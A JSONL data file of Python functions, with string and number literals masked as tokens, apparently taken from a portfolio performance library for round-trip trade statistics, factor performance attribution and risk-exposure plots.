{"signature": "def compute_bayes_cone(preds, starting_value=<NUM_LIT:1.>):", "body": "def scoreatpercentile(cum_preds, p):<EOL><INDENT>return [stats.scoreatpercentile(<EOL>c, p) for c in cum_preds.T]<EOL><DEDENT>cum_preds = np.cumprod(preds + <NUM_LIT:1>, <NUM_LIT:1>) * starting_value<EOL>perc = {p: scoreatpercentile(cum_preds, p) for p in (<NUM_LIT:5>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)}<EOL>return perc<EOL>", "docstring": "Compute 5, 25, 75 and 95 percentiles of cumulative returns, used\nfor the Bayesian cone.\n\nParameters\n----------\npreds : numpy.array\n    Multiple (simulated) cumulative returns.\nstarting_value : int (optional)\n    Have cumulative returns start around this value.\n    Default = 1.\n\nReturns\n-------\ndict of percentiles over time\n    Dictionary mapping percentiles (5, 25, 75, 95) to a\n    timeseries.", "id": "f12216:m7"}
{"signature": "def _groupby_consecutive(txn, max_delta=pd.Timedelta('<STR_LIT>')):", "body": "def vwap(transaction):<EOL><INDENT>if transaction.amount.sum() == <NUM_LIT:0>:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL>return np.nan<EOL><DEDENT>return (transaction.amount * transaction.price).sum() /transaction.amount.sum()<EOL><DEDENT>out = []<EOL>for sym, t in txn.groupby('<STR_LIT>'):<EOL><INDENT>t = t.sort_index()<EOL>t.index.name = '<STR_LIT>'<EOL>t = t.reset_index()<EOL>t['<STR_LIT>'] = t.amount > <NUM_LIT:0><EOL>t['<STR_LIT>'] = (t.order_sign.shift(<EOL><NUM_LIT:1>) != t.order_sign).astype(int).cumsum()<EOL>t['<STR_LIT>'] = ((t.dt.sub(t.dt.shift(<NUM_LIT:1>))) ><EOL>max_delta).astype(int).cumsum()<EOL>grouped_price = (t.groupby(('<STR_LIT>',<EOL>'<STR_LIT>'))<EOL>.apply(vwap))<EOL>grouped_price.name = '<STR_LIT>'<EOL>grouped_rest = t.groupby(('<STR_LIT>', '<STR_LIT>')).agg({<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'})<EOL>grouped = grouped_rest.join(grouped_price)<EOL>out.append(grouped)<EOL><DEDENT>out = pd.concat(out)<EOL>out = out.set_index('<STR_LIT>')<EOL>return out<EOL>", "docstring": "Merge transactions of the same direction separated by less than\n    max_delta time duration.\n\n    Parameters\n    ----------\n    transactions : pd.DataFrame\n        Prices and amounts of executed round_trips. One row per trade.\n        - See full explanation in tears.create_full_tear_sheet\n\n    max_delta : pandas.Timedelta (optional)\n        Merge transactions in the same direction separated by less\n        than max_delta time duration.\n\n\n    Returns\n    -------\n    transactions : pd.DataFrame", "id": "f12217:m1"}
{"signature": "def extract_round_trips(transactions,<EOL>portfolio_value=None):", "body": "transactions = _groupby_consecutive(transactions)<EOL>roundtrips = []<EOL>for sym, trans_sym in transactions.groupby('<STR_LIT>'):<EOL><INDENT>trans_sym = trans_sym.sort_index()<EOL>price_stack = deque()<EOL>dt_stack = deque()<EOL>trans_sym['<STR_LIT>'] = trans_sym.price *np.sign(trans_sym.amount)<EOL>trans_sym['<STR_LIT>'] = trans_sym.amount.abs().astype(int)<EOL>for dt, t in trans_sym.iterrows():<EOL><INDENT>if t.price < <NUM_LIT:0>:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>continue<EOL><DEDENT>indiv_prices = [t.signed_price] * t.abs_amount<EOL>if (len(price_stack) == <NUM_LIT:0>) or(copysign(<NUM_LIT:1>, price_stack[-<NUM_LIT:1>]) == copysign(<NUM_LIT:1>, t.amount)):<EOL><INDENT>price_stack.extend(indiv_prices)<EOL>dt_stack.extend([dt] * len(indiv_prices))<EOL><DEDENT>else:<EOL><INDENT>pnl = <NUM_LIT:0><EOL>invested = <NUM_LIT:0><EOL>cur_open_dts = []<EOL>for price in indiv_prices:<EOL><INDENT>if len(price_stack) != <NUM_LIT:0> and(copysign(<NUM_LIT:1>, price_stack[-<NUM_LIT:1>]) != copysign(<NUM_LIT:1>, price)):<EOL><INDENT>prev_price = price_stack.popleft()<EOL>prev_dt = dt_stack.popleft()<EOL>pnl += -(price + prev_price)<EOL>cur_open_dts.append(prev_dt)<EOL>invested += abs(prev_price)<EOL><DEDENT>else:<EOL><INDENT>price_stack.append(price)<EOL>dt_stack.append(dt)<EOL><DEDENT><DEDENT>roundtrips.append({'<STR_LIT>': pnl,<EOL>'<STR_LIT>': cur_open_dts[<NUM_LIT:0>],<EOL>'<STR_LIT>': dt,<EOL>'<STR_LIT>': price < <NUM_LIT:0>,<EOL>'<STR_LIT>': pnl / invested,<EOL>'<STR_LIT>': sym,<EOL>})<EOL><DEDENT><DEDENT><DEDENT>roundtrips = pd.DataFrame(roundtrips)<EOL>roundtrips['<STR_LIT>'] = roundtrips['<STR_LIT>'].sub(roundtrips['<STR_LIT>'])<EOL>if portfolio_value is not None:<EOL><INDENT>pv = pd.DataFrame(portfolio_value,<EOL>columns=['<STR_LIT>']).assign(date=portfolio_value.index)<EOL>roundtrips['<STR_LIT:date>'] = roundtrips.close_dt.apply(lambda x:<EOL>x.replace(hour=<NUM_LIT:0>,<EOL>minute=<NUM_LIT:0>,<EOL>second=<NUM_LIT:0>))<EOL>tmp = roundtrips.join(pv, on='<STR_LIT:date>', lsuffix='<STR_LIT:_>')<EOL>roundtrips['<STR_LIT>'] = tmp.pnl / tmp.portfolio_value<EOL>roundtrips = roundtrips.drop('<STR_LIT:date>', axis='<STR_LIT>')<EOL><DEDENT>return roundtrips<EOL>", "docstring": "Group transactions into \"round trips\". First, transactions are\n    grouped by day and directionality. Then, long and short\n    transactions are matched to create round-trip round_trips for which\n    PnL, duration and returns are computed. Crossings where a position\n    changes from long to short and vice-versa are handled correctly.\n\n    Under the hood, we reconstruct the individual shares in a\n    portfolio over time and match round_trips in a FIFO-order.\n\n    For example, the following transactions would constitute one round trip:\n    index                  amount   price    symbol\n    2004-01-09 12:18:01    10       50      'AAPL'\n    2004-01-09 15:12:53    10       100      'AAPL'\n    2004-01-13 14:41:23    -10      100      'AAPL'\n    2004-01-13 15:23:34    -10      200       'AAPL'\n\n    First, the first two and last two round_trips will be merged into a two\n    single transactions (computing the price via vwap). Then, during\n    the portfolio reconstruction, the two resulting transactions will\n    be merged and result in 1 round-trip trade with a PnL of\n    (150 * 20) - (75 * 20) = 1500.\n\n    Note, that round trips do not have to close out positions\n    completely. For example, we could have removed the last\n    transaction in the example above and still generated a round-trip\n    over 10 shares with 10 shares left in the portfolio to be matched\n    with a later transaction.\n\n    Parameters\n    ----------\n    transactions : pd.DataFrame\n        Prices and amounts of executed round_trips. One row per trade.\n        - See full explanation in tears.create_full_tear_sheet\n\n    portfolio_value : pd.Series (optional)\n        Portfolio value (all net assets including cash) over time.\n        Note that portfolio_value needs to beginning of day, so either\n        use .shift() or positions.sum(axis='columns') / (1+returns).\n\n    Returns\n    -------\n    round_trips : pd.DataFrame\n        DataFrame with one row per round trip.  The returns column\n        contains returns in respect to the portfolio value while\n        rt_returns are the returns in regards to the invested capital\n        into that partiulcar round-trip.", "id": "f12217:m2"}
{"signature": "def add_closing_transactions(positions, transactions):", "body": "closed_txns = transactions[['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']]<EOL>pos_at_end = positions.drop('<STR_LIT>', axis=<NUM_LIT:1>).iloc[-<NUM_LIT:1>]<EOL>open_pos = pos_at_end.replace(<NUM_LIT:0>, np.nan).dropna()<EOL>end_dt = open_pos.name + pd.Timedelta(seconds=<NUM_LIT:1>)<EOL>for sym, ending_val in open_pos.iteritems():<EOL><INDENT>txn_sym = transactions[transactions.symbol == sym]<EOL>ending_amount = txn_sym.amount.sum()<EOL>ending_price = ending_val / ending_amount<EOL>closing_txn = {'<STR_LIT>': sym,<EOL>'<STR_LIT>': -ending_amount,<EOL>'<STR_LIT>': ending_price}<EOL>closing_txn = pd.DataFrame(closing_txn, index=[end_dt])<EOL>closed_txns = closed_txns.append(closing_txn)<EOL><DEDENT>closed_txns = closed_txns[closed_txns.amount != <NUM_LIT:0>]<EOL>return closed_txns<EOL>", "docstring": "Appends transactions that close out all positions at the end of\nthe timespan covered by positions data. Utilizes pricing information\nin the positions DataFrame to determine closing price.\n\nParameters\n----------\npositions : pd.DataFrame\n    The positions that the strategy takes over time.\ntransactions : pd.DataFrame\n    Prices and amounts of executed round_trips. One row per trade.\n    - See full explanation in tears.create_full_tear_sheet\n\nReturns\n-------\nclosed_txns : pd.DataFrame\n    Transactions with closing transactions appended.", "id": "f12217:m3"}
{"signature": "def apply_sector_mappings_to_round_trips(round_trips, sector_mappings):", "body": "sector_round_trips = round_trips.copy()<EOL>sector_round_trips.symbol = sector_round_trips.symbol.apply(<EOL>lambda x: sector_mappings.get(x, '<STR_LIT>'))<EOL>sector_round_trips = sector_round_trips.dropna(axis=<NUM_LIT:0>)<EOL>return sector_round_trips<EOL>", "docstring": "Translates round trip symbols to sectors.\n\nParameters\n----------\nround_trips : pd.DataFrame\n    DataFrame with one row per round trip trade.\n    - See full explanation in round_trips.extract_round_trips\nsector_mappings : dict or pd.Series, optional\n    Security identifier to sector mapping.\n    Security ids as keys, sectors as values.\n\nReturns\n-------\nsector_round_trips : pd.DataFrame\n    Round trips with symbol names replaced by sector names.", "id": "f12217:m4"}
{"signature": "def gen_round_trip_stats(round_trips):", "body": "stats = {}<EOL>stats['<STR_LIT>'] = agg_all_long_short(round_trips, '<STR_LIT>', PNL_STATS)<EOL>stats['<STR_LIT>'] = agg_all_long_short(round_trips, '<STR_LIT>',<EOL>SUMMARY_STATS)<EOL>stats['<STR_LIT>'] = agg_all_long_short(round_trips, '<STR_LIT>',<EOL>DURATION_STATS)<EOL>stats['<STR_LIT>'] = agg_all_long_short(round_trips, '<STR_LIT>',<EOL>RETURN_STATS)<EOL>stats['<STR_LIT>'] =round_trips.groupby('<STR_LIT>')['<STR_LIT>'].agg(RETURN_STATS).T<EOL>return stats<EOL>", "docstring": "Generate various round-trip statistics.\n\n    Parameters\n    ----------\n    round_trips : pd.DataFrame\n        DataFrame with one row per round trip trade.\n        - See full explanation in round_trips.extract_round_trips\n\n    Returns\n    -------\n    stats : dict\n       A dictionary where each value is a pandas DataFrame containing\n       various round-trip statistics.\n\n    See also\n    --------\n    round_trips.print_round_trip_stats", "id": "f12217:m5"}
{"signature": "def print_round_trip_stats(round_trips, hide_pos=False):", "body": "stats = gen_round_trip_stats(round_trips)<EOL>print_table(stats['<STR_LIT>'], float_format='<STR_LIT>'.format,<EOL>name='<STR_LIT>')<EOL>print_table(stats['<STR_LIT>'], float_format='<STR_LIT>'.format, name='<STR_LIT>')<EOL>print_table(stats['<STR_LIT>'], float_format='<STR_LIT>'.format,<EOL>name='<STR_LIT>')<EOL>print_table(stats['<STR_LIT>'] * <NUM_LIT:100>, float_format='<STR_LIT>'.format,<EOL>name='<STR_LIT>')<EOL>if not hide_pos:<EOL><INDENT>stats['<STR_LIT>'].columns = stats['<STR_LIT>'].columns.map(format_asset)<EOL>print_table(stats['<STR_LIT>'] * <NUM_LIT:100>,<EOL>float_format='<STR_LIT>'.format, name='<STR_LIT>')<EOL><DEDENT>", "docstring": "Print various round-trip statistics. Tries to pretty-print tables\n    with HTML output if run inside IPython NB.\n\n    Parameters\n    ----------\n    round_trips : pd.DataFrame\n        DataFrame with one row per round trip trade.\n        - See full explanation in round_trips.extract_round_trips\n\n    See also\n    --------\n    round_trips.gen_round_trip_stats", "id": "f12217:m6"}
{"signature": "def perf_attrib(returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings,<EOL>transactions=None,<EOL>pos_in_dollars=True):", "body": "(returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings) = _align_and_warn(returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings,<EOL>transactions=transactions,<EOL>pos_in_dollars=pos_in_dollars)<EOL>positions = _stack_positions(positions, pos_in_dollars=pos_in_dollars)<EOL>return ep.perf_attrib(returns, positions, factor_returns, factor_loadings)<EOL>", "docstring": "Attributes the performance of a returns stream to a set of risk factors.\n\nPreprocesses inputs, and then calls empyrical.perf_attrib. See\nempyrical.perf_attrib for more info.\n\nPerformance attribution determines how much each risk factor, e.g.,\nmomentum, the technology sector, etc., contributed to total returns, as\nwell as the daily exposure to each of the risk factors. The returns that\ncan be attributed to one of the given risk factors are the\n`common_returns`, and the returns that _cannot_ be attributed to a risk\nfactor are the `specific_returns`, or the alpha. The common_returns and\nspecific_returns summed together will always equal the total returns.\n\nParameters\n----------\nreturns : pd.Series\n    Returns for each day in the date range.\n    - Example:\n        2017-01-01   -0.017098\n        2017-01-02    0.002683\n        2017-01-03   -0.008669\n\npositions: pd.DataFrame\n    Daily holdings (in dollars or percentages), indexed by date.\n    Will be converted to percentages if positions are in dollars.\n    Short positions show up as cash in the 'cash' column.\n    - Examples:\n                    AAPL  TLT  XOM  cash\n        2017-01-01    34   58   10     0\n        2017-01-02    22   77   18     0\n        2017-01-03   -15   27   30    15\n\n                        AAPL       TLT       XOM  cash\n        2017-01-01  0.333333  0.568627  0.098039   0.0\n        2017-01-02  0.188034  0.658120  0.153846   0.0\n        2017-01-03  0.208333  0.375000  0.416667   0.0\n\nfactor_returns : pd.DataFrame\n    Returns by factor, with date as index and factors as columns\n    - Example:\n                    momentum  reversal\n        2017-01-01  0.002779 -0.005453\n        2017-01-02  0.001096  0.010290\n\nfactor_loadings : pd.DataFrame\n    Factor loadings for all days in the date range, with date and ticker as\n    index, and factors as columns.\n    - Example:\n                           momentum  reversal\n        dt         ticker\n        2017-01-01 AAPL   -1.592914  0.852830\n                   TLT     0.184864  0.895534\n                   XOM     0.993160  1.149353\n        2017-01-02 AAPL   -0.140009 -0.524952\n                   TLT    -1.066978  0.185435\n                   XOM    -1.798401  0.761549\n\n\ntransactions : pd.DataFrame, optional\n    Executed trade volumes and fill prices. Used to check the turnover of\n    the algorithm. Default is None, in which case the turnover check is\n    skipped.\n\n    - One row per trade.\n    - Trades on different names that occur at the\n      same time will have identical indicies.\n    - Example:\n        index                  amount   price    symbol\n        2004-01-09 12:18:01    483      324.12   'AAPL'\n        2004-01-09 12:18:01    122      83.10    'MSFT'\n        2004-01-13 14:12:23    -75      340.43   'AAPL'\n\npos_in_dollars : bool\n    Flag indicating whether `positions` are in dollars or percentages\n    If True, positions are in dollars.\n\nReturns\n-------\ntuple of (risk_exposures_portfolio, perf_attribution)\n\nrisk_exposures_portfolio : pd.DataFrame\n    df indexed by datetime, with factors as columns\n    - Example:\n                    momentum  reversal\n        dt\n        2017-01-01 -0.238655  0.077123\n        2017-01-02  0.821872  1.520515\n\nperf_attribution : pd.DataFrame\n    df with factors, common returns, and specific returns as columns,\n    and datetimes as index\n    - Example:\n                    momentum  reversal  common_returns  specific_returns\n        dt\n        2017-01-01  0.249087  0.935925        1.185012          1.185012\n        2017-01-02 -0.003194 -0.400786       -0.403980         -0.403980", "id": "f12219:m0"}
{"signature": "def compute_exposures(positions, factor_loadings, stack_positions=True,<EOL>pos_in_dollars=True):", "body": "if stack_positions:<EOL><INDENT>positions = _stack_positions(positions, pos_in_dollars=pos_in_dollars)<EOL><DEDENT>return ep.compute_exposures(positions, factor_loadings)<EOL>", "docstring": "Compute daily risk factor exposures.\n\nNormalizes positions (if necessary) and calls ep.compute_exposures.\nSee empyrical.compute_exposures for more info.\n\nParameters\n----------\npositions: pd.DataFrame or pd.Series\n    Daily holdings (in dollars or percentages), indexed by date, OR\n    a series of holdings indexed by date and ticker.\n    - Examples:\n                    AAPL  TLT  XOM  cash\n        2017-01-01    34   58   10     0\n        2017-01-02    22   77   18     0\n        2017-01-03   -15   27   30    15\n\n                        AAPL       TLT       XOM  cash\n        2017-01-01  0.333333  0.568627  0.098039   0.0\n        2017-01-02  0.188034  0.658120  0.153846   0.0\n        2017-01-03  0.208333  0.375000  0.416667   0.0\n\n        dt          ticker\n        2017-01-01  AAPL      0.417582\n                    TLT       0.010989\n                    XOM       0.571429\n        2017-01-02  AAPL      0.202381\n                    TLT       0.535714\n                    XOM       0.261905\n\nfactor_loadings : pd.DataFrame\n    Factor loadings for all days in the date range, with date and ticker as\n    index, and factors as columns.\n    - Example:\n                           momentum  reversal\n        dt         ticker\n        2017-01-01 AAPL   -1.592914  0.852830\n                   TLT     0.184864  0.895534\n                   XOM     0.993160  1.149353\n        2017-01-02 AAPL   -0.140009 -0.524952\n                   TLT    -1.066978  0.185435\n                   XOM    -1.798401  0.761549\n\nstack_positions : bool\n    Flag indicating whether `positions` should be converted to long format.\n\npos_in_dollars : bool\n    Flag indicating whether `positions` are in dollars or percentages\n    If True, positions are in dollars.\n\nReturns\n-------\nrisk_exposures_portfolio : pd.DataFrame\n    df indexed by datetime, with factors as columns.\n    - Example:\n                    momentum  reversal\n        dt\n        2017-01-01 -0.238655  0.077123\n        2017-01-02  0.821872  1.520515", "id": "f12219:m1"}
{"signature": "def create_perf_attrib_stats(perf_attrib, risk_exposures):", "body": "summary = OrderedDict()<EOL>total_returns = perf_attrib['<STR_LIT>']<EOL>specific_returns = perf_attrib['<STR_LIT>']<EOL>common_returns = perf_attrib['<STR_LIT>']<EOL>summary['<STR_LIT>'] =ep.annual_return(specific_returns)<EOL>summary['<STR_LIT>'] =ep.annual_return(common_returns)<EOL>summary['<STR_LIT>'] =ep.annual_return(total_returns)<EOL>summary['<STR_LIT>'] =ep.sharpe_ratio(specific_returns)<EOL>summary['<STR_LIT>'] =ep.cum_returns_final(specific_returns)<EOL>summary['<STR_LIT>'] =ep.cum_returns_final(common_returns)<EOL>summary['<STR_LIT>'] =ep.cum_returns_final(total_returns)<EOL>summary = pd.Series(summary, name='<STR_LIT>')<EOL>annualized_returns_by_factor = [ep.annual_return(perf_attrib[c])<EOL>for c in risk_exposures.columns]<EOL>cumulative_returns_by_factor = [ep.cum_returns_final(perf_attrib[c])<EOL>for c in risk_exposures.columns]<EOL>risk_exposure_summary = pd.DataFrame(<EOL>data=OrderedDict([<EOL>(<EOL>'<STR_LIT>',<EOL>risk_exposures.mean(axis='<STR_LIT>')<EOL>),<EOL>('<STR_LIT>', annualized_returns_by_factor),<EOL>('<STR_LIT>', cumulative_returns_by_factor),<EOL>]),<EOL>index=risk_exposures.columns,<EOL>)<EOL>return summary, risk_exposure_summary<EOL>", "docstring": "Takes perf attribution data over a period of time and computes annualized\nmultifactor alpha, multifactor sharpe, risk exposures.", "id": "f12219:m2"}
{"signature": "def show_perf_attrib_stats(returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings,<EOL>transactions=None,<EOL>pos_in_dollars=True):", "body": "risk_exposures, perf_attrib_data = perf_attrib(<EOL>returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings,<EOL>transactions,<EOL>pos_in_dollars=pos_in_dollars,<EOL>)<EOL>perf_attrib_stats, risk_exposure_stats =create_perf_attrib_stats(perf_attrib_data, risk_exposures)<EOL>percentage_formatter = '<STR_LIT>'.format<EOL>float_formatter = '<STR_LIT>'.format<EOL>summary_stats = perf_attrib_stats.loc[['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>']]<EOL>for col_name in (<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>):<EOL><INDENT>summary_stats[col_name] = percentage_formatter(summary_stats[col_name])<EOL><DEDENT>summary_stats['<STR_LIT>'] = float_formatter(<EOL>summary_stats['<STR_LIT>']<EOL>)<EOL>print_table(summary_stats, name='<STR_LIT>')<EOL>print_table(<EOL>risk_exposure_stats,<EOL>name='<STR_LIT>',<EOL>formatters={<EOL>'<STR_LIT>': float_formatter,<EOL>'<STR_LIT>': percentage_formatter,<EOL>'<STR_LIT>': percentage_formatter,<EOL>},<EOL>)<EOL>", "docstring": "Calls `perf_attrib` using inputs, and displays outputs using\n`utils.print_table`.", "id": "f12219:m3"}
{"signature": "def plot_returns(perf_attrib_data, cost=None, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>returns = perf_attrib_data['<STR_LIT>']<EOL>total_returns_label = '<STR_LIT>'<EOL>cumulative_returns_less_costs = _cumulative_returns_less_costs(<EOL>returns,<EOL>cost<EOL>)<EOL>if cost is not None:<EOL><INDENT>total_returns_label += '<STR_LIT>'<EOL><DEDENT>specific_returns = perf_attrib_data['<STR_LIT>']<EOL>common_returns = perf_attrib_data['<STR_LIT>']<EOL>ax.plot(cumulative_returns_less_costs, color='<STR_LIT:b>',<EOL>label=total_returns_label)<EOL>ax.plot(ep.cum_returns(specific_returns), color='<STR_LIT:g>',<EOL>label='<STR_LIT>')<EOL>ax.plot(ep.cum_returns(common_returns), color='<STR_LIT:r>',<EOL>label='<STR_LIT>')<EOL>if cost is not None:<EOL><INDENT>ax.plot(-ep.cum_returns(cost), color='<STR_LIT:k>',<EOL>label='<STR_LIT>')<EOL><DEDENT>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>configure_legend(ax)<EOL>return ax<EOL>", "docstring": "Plot total, specific, and common returns.\n\nParameters\n----------\nperf_attrib_data : pd.DataFrame\n    df with factors, common returns, and specific returns as columns,\n    and datetimes as index. Assumes the `total_returns` column is NOT\n    cost adjusted.\n    - Example:\n                    momentum  reversal  common_returns  specific_returns\n        dt\n        2017-01-01  0.249087  0.935925        1.185012          1.185012\n        2017-01-02 -0.003194 -0.400786       -0.403980         -0.403980\n\ncost : pd.Series, optional\n    if present, gets subtracted from `perf_attrib_data['total_returns']`,\n    and gets plotted separately\n\nax :  matplotlib.axes.Axes\n    axes on which plots are made. if None, current axes will be used\n\nReturns\n-------\nax :  matplotlib.axes.Axes", "id": "f12219:m4"}
{"signature": "def plot_alpha_returns(alpha_returns, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>ax.hist(alpha_returns, color='<STR_LIT:g>', label='<STR_LIT>')<EOL>ax.set_title('<STR_LIT>')<EOL>ax.axvline(<NUM_LIT:0>, color='<STR_LIT:k>', linestyle='<STR_LIT>', label='<STR_LIT>')<EOL>avg = alpha_returns.mean()<EOL>ax.axvline(avg, color='<STR_LIT:b>', label='<STR_LIT>'.format(avg))<EOL>configure_legend(ax)<EOL>return ax<EOL>", "docstring": "Plot histogram of daily multi-factor alpha returns (specific returns).\n\nParameters\n----------\nalpha_returns : pd.Series\n    series of daily alpha returns indexed by datetime\n\nax :  matplotlib.axes.Axes\n    axes on which plots are made. if None, current axes will be used\n\nReturns\n-------\nax :  matplotlib.axes.Axes", "id": "f12219:m5"}
{"signature": "def plot_factor_contribution_to_perf(<EOL>perf_attrib_data,<EOL>ax=None,<EOL>title='<STR_LIT>',<EOL>):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>factors_to_plot = perf_attrib_data.drop(<EOL>['<STR_LIT>', '<STR_LIT>'], axis='<STR_LIT>', errors='<STR_LIT:ignore>'<EOL>)<EOL>factors_cumulative = pd.DataFrame()<EOL>for factor in factors_to_plot:<EOL><INDENT>factors_cumulative[factor] = ep.cum_returns(factors_to_plot[factor])<EOL><DEDENT>for col in factors_cumulative:<EOL><INDENT>ax.plot(factors_cumulative[col])<EOL><DEDENT>ax.axhline(<NUM_LIT:0>, color='<STR_LIT:k>')<EOL>configure_legend(ax, change_colors=True)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_title(title)<EOL>return ax<EOL>", "docstring": "Plot each factor's contribution to performance.\n\nParameters\n----------\nperf_attrib_data : pd.DataFrame\n    df with factors, common returns, and specific returns as columns,\n    and datetimes as index\n    - Example:\n                    momentum  reversal  common_returns  specific_returns\n        dt\n        2017-01-01  0.249087  0.935925        1.185012          1.185012\n        2017-01-02 -0.003194 -0.400786       -0.403980         -0.403980\n\nax :  matplotlib.axes.Axes\n    axes on which plots are made. if None, current axes will be used\n\ntitle : str, optional\n    title of plot\n\nReturns\n-------\nax :  matplotlib.axes.Axes", "id": "f12219:m6"}
{"signature": "def plot_risk_exposures(exposures, ax=None,<EOL>title='<STR_LIT>'):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>for col in exposures:<EOL><INDENT>ax.plot(exposures[col])<EOL><DEDENT>configure_legend(ax, change_colors=True)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_title(title)<EOL>return ax<EOL>", "docstring": "Parameters\n----------\nexposures : pd.DataFrame\n    df indexed by datetime, with factors as columns\n    - Example:\n                    momentum  reversal\n        dt\n        2017-01-01 -0.238655  0.077123\n        2017-01-02  0.821872  1.520515\n\nax :  matplotlib.axes.Axes\n    axes on which plots are made. if None, current axes will be used\n\nReturns\n-------\nax :  matplotlib.axes.Axes", "id": "f12219:m7"}
{"signature": "def _align_and_warn(returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings,<EOL>transactions=None,<EOL>pos_in_dollars=True):", "body": "missing_stocks = positions.columns.difference(<EOL>factor_loadings.index.get_level_values(<NUM_LIT:1>).unique()<EOL>)<EOL>num_stocks = len(positions.columns) - <NUM_LIT:1><EOL>missing_stocks = missing_stocks.drop('<STR_LIT>')<EOL>num_stocks_covered = num_stocks - len(missing_stocks)<EOL>missing_ratio = round(len(missing_stocks) / num_stocks, ndigits=<NUM_LIT:3>)<EOL>if num_stocks_covered == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len(missing_stocks) > <NUM_LIT:0>:<EOL><INDENT>if len(missing_stocks) > <NUM_LIT:5>:<EOL><INDENT>missing_stocks_displayed = (<EOL>\"<STR_LIT>\"<EOL>).format(len(missing_stocks),<EOL>'<STR_LIT:U+002CU+0020>'.join(missing_stocks[:<NUM_LIT:5>].map(str)),<EOL>missing_stocks[-<NUM_LIT:1>])<EOL>avg_allocation_msg = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>missing_stocks_displayed = (<EOL>\"<STR_LIT>\"<EOL>).format(list(missing_stocks))<EOL>avg_allocation_msg = \"<STR_LIT>\"<EOL><DEDENT>missing_stocks_warning_msg = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>missing_stocks_displayed,<EOL>missing_ratio,<EOL>avg_allocation_msg,<EOL>positions[missing_stocks[:<NUM_LIT:5>].union(missing_stocks[[-<NUM_LIT:1>]])].mean(),<EOL>)<EOL>warnings.warn(missing_stocks_warning_msg)<EOL>positions = positions.drop(missing_stocks, axis='<STR_LIT>',<EOL>errors='<STR_LIT:ignore>')<EOL><DEDENT>missing_factor_loadings_index = positions.index.difference(<EOL>factor_loadings.index.get_level_values(<NUM_LIT:0>).unique()<EOL>)<EOL>missing_factor_loadings_index = positions.index.difference(<EOL>factor_loadings.index.get_level_values(<NUM_LIT:0>).unique()<EOL>)<EOL>if len(missing_factor_loadings_index) > <NUM_LIT:0>:<EOL><INDENT>if len(missing_factor_loadings_index) > <NUM_LIT:5>:<EOL><INDENT>missing_dates_displayed = (<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>missing_factor_loadings_index[<NUM_LIT:0>],<EOL>missing_factor_loadings_index[-<NUM_LIT:1>]<EOL>)<EOL><DEDENT>else:<EOL><INDENT>missing_dates_displayed = list(missing_factor_loadings_index)<EOL><DEDENT>warning_msg = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(len(missing_factor_loadings_index), missing_dates_displayed)<EOL>warnings.warn(warning_msg)<EOL>positions = positions.drop(missing_factor_loadings_index,<EOL>errors='<STR_LIT:ignore>')<EOL>returns = returns.drop(missing_factor_loadings_index, errors='<STR_LIT:ignore>')<EOL>factor_returns = factor_returns.drop(missing_factor_loadings_index,<EOL>errors='<STR_LIT:ignore>')<EOL><DEDENT>if transactions is not None and pos_in_dollars:<EOL><INDENT>turnover = get_turnover(positions, transactions).mean()<EOL>if turnover > PERF_ATTRIB_TURNOVER_THRESHOLD:<EOL><INDENT>warning_msg = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:\\n>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>warnings.warn(warning_msg)<EOL><DEDENT><DEDENT>return (returns, positions, factor_returns, factor_loadings)<EOL>", "docstring": "Make sure that all inputs have matching dates and tickers,\nand raise warnings if necessary.", "id": "f12219:m8"}
{"signature": "def _stack_positions(positions, pos_in_dollars=True):", "body": "if pos_in_dollars:<EOL><INDENT>positions = get_percent_alloc(positions)<EOL><DEDENT>positions = positions.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>positions = positions.stack()<EOL>positions.index = positions.index.set_names(['<STR_LIT>', '<STR_LIT>'])<EOL>return positions<EOL>", "docstring": "Convert positions to percentages if necessary, and change them\nto long format.\n\nParameters\n----------\npositions: pd.DataFrame\n    Daily holdings (in dollars or percentages), indexed by date.\n    Will be converted to percentages if positions are in dollars.\n    Short positions show up as cash in the 'cash' column.\n\npos_in_dollars : bool\n    Flag indicating whether `positions` are in dollars or percentages\n    If True, positions are in dollars.", "id": "f12219:m9"}
